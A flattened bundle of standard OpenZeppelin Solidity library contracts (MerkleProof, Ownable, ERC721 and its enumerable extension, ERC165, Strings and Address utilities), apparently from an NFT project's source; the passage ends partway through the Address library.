// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
